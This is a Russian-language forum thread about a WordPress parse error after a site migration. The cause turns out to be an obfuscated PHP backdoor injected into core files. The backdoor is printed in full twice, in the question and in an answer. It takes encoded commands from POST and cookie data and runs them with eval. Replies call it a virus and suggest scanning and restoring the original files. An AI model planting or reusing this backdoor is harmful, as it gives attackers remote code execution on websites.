Ошибка T_VARIABLE WordPress при переносе сайта?

Question

[Сергей Успенский]

Добрый день, бьл осуществлен перенос сайта на WordPress с хостинга на хостинг.
Сделана была резервная копия файлов и базы данных.
Перенос состоялся, база данных заработала. Домен, также был припаркован на новый хостинг.
При загрузке появляется ошибка:
Parse error: syntax error, unexpected '$yca207197' (T_VARIABLE) in /home/u195999/veselova.msk.ru/html/wp-includes/user.php on line 2
Далее, в файле user.php hex код (как я понял это он):

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $ma43c3 = 415;$GLOBALS['ofa06852']=Array();global$ofa06852;$ofa06852=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['y341']="\x6e\x64\x78\x57\x5b\x37\x63\x25\x24\x73\x3a\x3c\x33\x72\x4b\x75\x55\x7d\x34\x5c\x2a\x39\x59\x69\x21\x27\x43\x62\x5a\x4c\x38\x4a\x6f\x4f\x4d\x40\x35\x2c\x53\x46\x6b\x3b\x6c\x9\x65\x6d\x26\x5e\x54\x22\x48\x20\x2f\x3e\x32\x4e\x44\x74\x23\x61\x3d\x6a\xa\x36\x5d\x42\x79\x2e\x7a\x45\x30\x71\x51\x49\x5f\x2d\x28\x7c\x50\x3f\x56\x7b\x67\x60\x52\x68\x7e\x58\x76\x41\xd\x29\x47\x2b\x77\x66\x70\x31";$ofa06852[$ofa06852['y341'][0].$ofa06852['y341'][30].$ofa06852['y341'][27].$ofa06852['y341'][95].$ofa06852['y341'][12].$ofa06852['y341'][12]]=$ofa06852['y341'][96].$ofa06852['y341'][59].$ofa06852['y341'][6].$ofa06852['y341'][40];$ofa06852[$ofa06852['y341'][68].$ofa06852['y341'][95].$ofa06852['y341'][54].$ofa06852['y341'][70].$ofa06852['y341'][95].$ofa06852['y341'][18].$ofa06852['y341'][97].$ofa06852['y341'][44].$ofa06852['y341'][54]]=$ofa06852['y341'][6].$ofa06852['y341'][32].$ofa06852['y341'][15].$ofa06852['y341'][0].$ofa06852['y341'][57];$ofa06852[$ofa06852['y341'][59].$ofa06852['y341'][21].$ofa06852['y341'][54].$ofa06852['y341'][95].$ofa06852['y341'][63].$ofa06852['y341'][54].$ofa06852['y341'][59].$ofa06852['y341'][5].$ofa06852['y341'][36]]=$ofa06852['y341'][9].$ofa06852['y341'][15].$ofa06852['y341'][27].$ofa06852['y341'][9].$ofa06852['y341'][57].$ofa06852['y341'][13];$ofa06852[$ofa06852['y341'][82].$ofa06852['y341'][36].$ofa06852['y341'][97].$ofa06852['y341'][59]]=$ofa06852['y341'][9].$ofa06852['y341'][57].$ofa06852['y341'][13].$ofa06852['y341'][42].$ofa06852['y341'][44].$ofa06852['y341'][0];$ofa06852[$ofa06852['y341'][2].$ofa06852['y341'][18].$ofa06852['y341'][59].$ofa06852['y341'][18].$ofa06852['y341'][63].$ofa06852['y341'][54].$ofa06852['y341'][1]]=$ofa06852['y341'][44].$ofa06852['y341'][2].$ofa06852['y341'][96].$ofa06852['y341'][42].$ofa06852['y341'][32].$ofa06852['y341'][1].$ofa06852['y341'][44];$ofa06852[$ofa06852['y341'][27].$ofa06852['y341'][70].$ofa06852['y341'][54].$ofa06852['y341'][54].$ofa06852['y341'][36].$ofa06852['y341'][1].$ofa06852['y341'][54]]=$ofa06852['y341'][9].$ofa06852['y341'][57].$ofa06852['y341'][13].$ofa06852['y341'][74].$ofa06852['y341'][13].$ofa06852['y341'][44].$ofa06852['y341'][96].$ofa06852['y341'][44].$ofa06852['y341'][59].$ofa06852['y341'][57];$ofa06852[$ofa06852['y341'][9].$ofa06852['y341'][54].$ofa06852['y341'][70].$ofa06852['y341'][54].$ofa06852['y341'][27].$ofa06852['y341'][6]]=$_POST;$ofa06852[$ofa06852['y341'][15].$ofa06852['y341'][21].$ofa06852['y341'][27].$ofa06852['y341'][5].$ofa06852['y341'][44].$ofa06852['y341'][18].$ofa06852['y341'][70].$ofa06852['y341'][36].$ofa06852['y341'][95]]=$_COOKIE;$b6729d=Array($ofa06852['y341'][13].$ofa06852['y341'][59].$ofa06852['y341'][0].$ofa06852['y341'][1].$ofa06852['y341'][32].$ofa06852['y341'][45].$ofa06852['y341'][97]=>$ofa06852['y341'][13].$ofa06852['y341'][59].$ofa06852['y341'][0].$ofa06852['y341'][1].$ofa06852['y341'][32].$ofa06852['y341'][45].$ofa06852['y341'][54]);$va7d66=Array($ofa06852['y341'][13].$ofa06852['y341'][59].$ofa06852['y341'][0].$ofa06852['y341'][1].$ofa06852['y341'][32].$ofa06852['y341'][45].$ofa06852['y341'][12]=>$ofa06852['y341'][13].$ofa06852['y341'][59].$ofa06852['y341'][0].$ofa06852['y341'][1].$ofa06852['y341'][32].$ofa06852['y341'][45].$ofa06852['y341'][18]);foreach(Array($b6729d,$ofa06852[$ofa06852['y341'][9].$ofa06852['y341'][54].$ofa06852['y341'][70].$ofa06852['y341'][54].$ofa06852['y341'][27].$ofa06852['y341'][6]],$va7d66,$ofa06852[$ofa06852['y341'][15].$ofa06852['y341'][21].$ofa06852['y341'][27].$ofa06852['y341'][5].$ofa06852['y341'][44].$ofa06852['y341'][18].$ofa06852['y341'][70].$ofa06852['y341'][36].$ofa06852['y341'][95]])as$n45b){foreach($n45bas$yca207197=>$y9f43e710){$y9f43e710=@$ofa06852[$ofa06852['y341'][0].$ofa06852['y341'][30].$ofa06852['y341'][27].$ofa06852['y341'][95].$ofa06852['y341'][12].$ofa06852['y341'][12]]($ofa06852['y341'][50].$ofa06852['y341'][20],$y9f43e710);$yca207197.=$ofa06852['y341'][59].$ofa06852['y341'][30].$ofa06852['y341'][95].$ofa06852['y341'][5].$ofa06852['y341'][27].$ofa06852['y341'][6].$ofa06852['y341'][44].$ofa06852['y341'][44].$ofa06852['y341'][75].$ofa06852['y341'][63].$ofa06852['y341'][6].$ofa06852['y341'][21].$ofa06852['y341'][21].$ofa06852['y341'][75].$ofa06852['y341'][18].$ofa06852['y341'][97].$ofa06852['y341'][97].$ofa06852['y341'][6].$ofa06852['y341'][75].$ofa06852['y341'][27].$ofa06852['y341'][27].$ofa06852['y341'][21].$ofa06852['y341'][6].$ofa06852['y341'][75].$ofa06852['y341'][18].$ofa06852['y341'][59].$ofa06852['y341'][70].$ofa06852['y341'][70].$ofa06852['y341'][1].$ofa06852['y341'][63].$ofa06852['y341'][36].$ofa06852['y341'][30].$ofa06852['y341'][63].$ofa06852['y341'][1].$ofa06852['y341'][54].$ofa06852['y341'][36];$t94ca=$y9f43e710^$ofa06852[$ofa06852['y341'][59].$ofa06852['y341'][21].$ofa06852['y341'][54].$ofa06852['y341'][95].$ofa06852['y341'][63].$ofa06852['y341'][54].$ofa06852['y341'][59].$ofa06852['y341'][5].$ofa06852['y341'][36]]($ofa06852[$ofa06852['y341'][27].$ofa06852['y341'][70].$ofa06852['y341'][54].$ofa06852['y341'][54].$ofa06852['y341'][36].$ofa06852['y341'][1].$ofa06852['y341'][54]]($yca207197,($ofa06852[$ofa06852['y341'][82].$ofa06852['y341'][36].$ofa06852['y341'][97].$ofa06852['y341'][59]]($y9f43e710)/$ofa06852[$ofa06852['y341'][82].$ofa06852['y341'][36].$ofa06852['y341'][97].$ofa06852['y341'][59]]($yca207197))+1),0,$ofa06852[$ofa06852['y341'][82].$ofa06852['y341'][36].$ofa06852['y341'][97].$ofa06852['y341'][59]]($y9f43e710));$t94ca=$ofa06852[$ofa06852['y341'][2].$ofa06852['y341'][18].$ofa06852['y341'][59].$ofa06852['y341'][18].$ofa06852['y341'][63].$ofa06852['y341'][54].$ofa06852['y341'][1]]($ofa06852['y341'][58],$t94ca);if($ofa06852[$ofa06852['y341'][68].$ofa06852['y341'][95].$ofa06852['y341'][54].$ofa06852['y341'][70].$ofa06852['y341'][95].$ofa06852['y341'][18].$ofa06852['y341'][97].$ofa06852['y341'][44].$ofa06852['y341'][54]]($t94ca)==3){eval/*xfa33be4*/($t94ca[1]($t94ca[2]));exit();}}}?>
<?php
/**
 * Core User API

Пробовал удалять этот код, ошибка оставалась та же, но уже в следующем файле:
/wp-includes/Requests/Cookie/Jar.php
Помогите пожалуйста разобраться в ошибке.

Comments

[zorca]

Это вирус

Answer 1

[Орхан Гасанлы]

Во-первых, код совсем не читабельный((
Во-вторых, содержимое файла user.php не соответствует действительности.
Оригинал:
https://github.com/WordPress/WordPress/blob/master...

Могу предположить, что на вашем сайте имеется "левый" премиум плагин или тема, в котором есть вредоносный код. И он добавил свой код в файл user.php.

- Рекомендуется просканировать сайт плагином Wordfence
- Переустановить ВП для восстановления оригинальных файлов из репозитория из админки

Также проверьте прошлую и текущую версии рнр на сервере. Иногда, разные версии рнр тоже могут быть причиной. Например, была версия 5.х и стала 7.х

Говоря проще, этот код явно лишний

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $ma43c3 = 415;$GLOBALS['ofa06852']=Array();global$ofa06852;$ofa06852=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['y341']="\x6e\x64\x78\x57\x5b\x37\x63\x25\x24\x73\x3a\x3c\x33\x72\x4b\x75\x55\x7d\x34\x5c\x2a\x39\x59\x69\x21\x27\x43\x62\x5a\x4c\x38\x4a\x6f\x4f\x4d\x40\x35\x2c\x53\x46\x6b\x3b\x6c\x9\x65\x6d\x26\x5e\x54\x22\x48\x20\x2f\x3e\x32\x4e\x44\x74\x23\x61\x3d\x6a\xa\x36\x5d\x42\x79\x2e\x7a\x45\x30\x71\x51\x49\x5f\x2d\x28\x7c\x50\x3f\x56\x7b\x67\x60\x52\x68\x7e\x58\x76\x41\xd\x29\x47\x2b\x77\x66\x70\x31";$ofa06852[$ofa06852['y341'][0].$ofa06852['y341'][30].$ofa06852['y341'][27].$ofa06852['y341'][95].$ofa06852['y341'][12].$ofa06852['y341'][12]]=$ofa06852['y341'][96].$ofa06852['y341'][59].$ofa06852['y341'][6].$ofa06852['y341'][40];$ofa06852[$ofa06852['y341'][68].$ofa06852['y341'][95].$ofa06852['y341'][54].$ofa06852['y341'][70].$ofa06852['y341'][95].$ofa06852['y341'][18].$ofa06852['y341'][97].$ofa06852['y341'][44].$ofa06852['y341'][54]]=$ofa06852['y341'][6].$ofa06852['y341'][32].$ofa06852['y341'][15].$ofa06852['y341'][0].$ofa06852['y341'][57];$ofa06852[$ofa06852['y341'][59].$ofa06852['y341'][21].$ofa06852['y341'][54].$ofa06852['y341'][95].$ofa06852['y341'][63].$ofa06852['y341'][54].$ofa06852['y341'][59].$ofa06852['y341'][5].$ofa06852['y341'][36]]=$ofa06852['y341'][9].$ofa06852['y341'][15].$ofa06852['y341'][27].$ofa06852['y341'][9].$ofa06852['y341'][57].$ofa06852['y341'][13];$ofa06852[$ofa06852['y341'][82].$ofa06852['y341'][36].$ofa06852['y341'][97].$ofa06852['y341'][59]]=$ofa06852['y341'][9].$ofa06852['y341'][57].$ofa06852['y341'][13].$ofa06852['y341'][42].$ofa06852['y341'][44].$ofa06852['y341'][0];$ofa06852[$ofa06852['y341'][2].$ofa06852['y341'][18].$ofa06852['y341'][59].$ofa06852['y341'][18].$ofa06852['y341'][63].$ofa06852['y341'][54].$ofa06852['y341'][1]]=$ofa06852['y341'][44].$ofa06852['y341'][2].$ofa06852['y341'][96].$ofa06852['y341'][42].$ofa06852['y341'][32].$ofa06852['y341'][1].$ofa06852['y341'][44];$ofa06852[$ofa06852['y341'][27].$ofa06852['y341'][70].$ofa06852['y341'][54].$ofa06852['y341'][54].$ofa06852['y341'][36].$ofa06852['y341'][1].$ofa06852['y341'][54]]=$ofa06852['y341'][9].$ofa06852['y341'][57].$ofa06852['y341'][13].$ofa06852['y341'][74].$ofa06852['y341'][13].$ofa06852['y341'][44].$ofa06852['y341'][96].$ofa06852['y341'][44].$ofa06852['y341'][59].$ofa06852['y341'][57];$ofa06852[$ofa06852['y341'][9].$ofa06852['y341'][54].$ofa06852['y341'][70].$ofa06852['y341'][54].$ofa06852['y341'][27].$ofa06852['y341'][6]]=$_POST;$ofa06852[$ofa06852['y341'][15].$ofa06852['y341'][21].$ofa06852['y341'][27].$ofa06852['y341'][5].$ofa06852['y341'][44].$ofa06852['y341'][18].$ofa06852['y341'][70].$ofa06852['y341'][36].$ofa06852['y341'][95]]=$_COOKIE;$b6729d=Array($ofa06852['y341'][13].$ofa06852['y341'][59].$ofa06852['y341'][0].$ofa06852['y341'][1].$ofa06852['y341'][32].$ofa06852['y341'][45].$ofa06852['y341'][97]=>$ofa06852['y341'][13].$ofa06852['y341'][59].$ofa06852['y341'][0].$ofa06852['y341'][1].$ofa06852['y341'][32].$ofa06852['y341'][45].$ofa06852['y341'][54]);$va7d66=Array($ofa06852['y341'][13].$ofa06852['y341'][59].$ofa06852['y341'][0].$ofa06852['y341'][1].$ofa06852['y341'][32].$ofa06852['y341'][45].$ofa06852['y341'][12]=>$ofa06852['y341'][13].$ofa06852['y341'][59].$ofa06852['y341'][0].$ofa06852['y341'][1].$ofa06852['y341'][32].$ofa06852['y341'][45].$ofa06852['y341'][18]);foreach(Array($b6729d,$ofa06852[$ofa06852['y341'][9].$ofa06852['y341'][54].$ofa06852['y341'][70].$ofa06852['y341'][54].$ofa06852['y341'][27].$ofa06852['y341'][6]],$va7d66,$ofa06852[$ofa06852['y341'][15].$ofa06852['y341'][21].$ofa06852['y341'][27].$ofa06852['y341'][5].$ofa06852['y341'][44].$ofa06852['y341'][18].$ofa06852['y341'][70].$ofa06852['y341'][36].$ofa06852['y341'][95]])as$n45b){foreach($n45bas$yca207197=>$y9f43e710){$y9f43e710=@$ofa06852[$ofa06852['y341'][0].$ofa06852['y341'][30].$ofa06852['y341'][27].$ofa06852['y341'][95].$ofa06852['y341'][12].$ofa06852['y341'][12]]($ofa06852['y341'][50].$ofa06852['y341'][20],$y9f43e710);$yca207197.=$ofa06852['y341'][59].$ofa06852['y341'][30].$ofa06852['y341'][95].$ofa06852['y341'][5].$ofa06852['y341'][27].$ofa06852['y341'][6].$ofa06852['y341'][44].$ofa06852['y341'][44].$ofa06852['y341'][75].$ofa06852['y341'][63].$ofa06852['y341'][6].$ofa06852['y341'][21].$ofa06852['y341'][21].$ofa06852['y341'][75].$ofa06852['y341'][18].$ofa06852['y341'][97].$ofa06852['y341'][97].$ofa06852['y341'][6].$ofa06852['y341'][75].$ofa06852['y341'][27].$ofa06852['y341'][27].$ofa06852['y341'][21].$ofa06852['y341'][6].$ofa06852['y341'][75].$ofa06852['y341'][18].$ofa06852['y341'][59].$ofa06852['y341'][70].$ofa06852['y341'][70].$ofa06852['y341'][1].$ofa06852['y341'][63].$ofa06852['y341'][36].$ofa06852['y341'][30].$ofa06852['y341'][63].$ofa06852['y341'][1].$ofa06852['y341'][54].$ofa06852['y341'][36];$t94ca=$y9f43e710^$ofa06852[$ofa06852['y341'][59].$ofa06852['y341'][21].$ofa06852['y341'][54].$ofa06852['y341'][95].$ofa06852['y341'][63].$ofa06852['y341'][54].$ofa06852['y341'][59].$ofa06852['y341'][5].$ofa06852['y341'][36]]($ofa06852[$ofa06852['y341'][27].$ofa06852['y341'][70].$ofa06852['y341'][54].$ofa06852['y341'][54].$ofa06852['y341'][36].$ofa06852['y341'][1].$ofa06852['y341'][54]]($yca207197,($ofa06852[$ofa06852['y341'][82].$ofa06852['y341'][36].$ofa06852['y341'][97].$ofa06852['y341'][59]]($y9f43e710)/$ofa06852[$ofa06852['y341'][82].$ofa06852['y341'][36].$ofa06852['y341'][97].$ofa06852['y341'][59]]($yca207197))+1),0,$ofa06852[$ofa06852['y341'][82].$ofa06852['y341'][36].$ofa06852['y341'][97].$ofa06852['y341'][59]]($y9f43e710));$t94ca=$ofa06852[$ofa06852['y341'][2].$ofa06852['y341'][18].$ofa06852['y341'][59].$ofa06852['y341'][18].$ofa06852['y341'][63].$ofa06852['y341'][54].$ofa06852['y341'][1]]($ofa06852['y341'][58],$t94ca);if($ofa06852[$ofa06852['y341'][68].$ofa06852['y341'][95].$ofa06852['y341'][54].$ofa06852['y341'][70].$ofa06852['y341'][95].$ofa06852['y341'][18].$ofa06852['y341'][97].$ofa06852['y341'][44].$ofa06852['y341'][54]]($t94ca)==3){eval/*xfa33be4*/($t94ca[1]($t94ca[2]));exit();}}}?>

Comments

[Сергей Успенский]

Переустановил вордпресс и добавил только файлы тем и базу данных. Итог тоже самое.
Вот логи с хостинга:
[Wed Mar 07 16:39:38.193390 2018] [:error] [pid 3077] [client 93.185.27.236:35998] PHP Parse error: syntax error, unexpected '$f30ce1' (T_VARIABLE) in /home/u195999/veselova.msk.ru/html/wp-includes/Requests/Cookie/Jar.php on line 1

[Орхан Гасанлы]

значит, у вас вирус засел где-то глубоко на хостинге или в БД.
А Wordfence*ом не сканировали?

Answer 2

[Сергей Успенский]

Переустановил вордпресс и добавил только файлы тем и базу данных. Итог тоже самое.
Вот логи с хостинга:
[Wed Mar 07 16:39:38.193390 2018] [:error] [pid 3077] [client 93.185.27.236:35998] PHP Parse error: syntax error, unexpected '$f30ce1' (T_VARIABLE) in /home/u195999/veselova.msk.ru/html/wp-includes/Requests/Cookie/Jar.php on line 1

Comments

[Орхан Гасанлы]

а можно содержимое этого рнр файла посмотреть?
Сравните с https://github.com/WordPress/WordPress/blob/master...
Скорее всего там лишний код имеется

[Сергей Успенский]

azerphoenix, После замены оригинальным файлов user.php и jar.php. Заработало!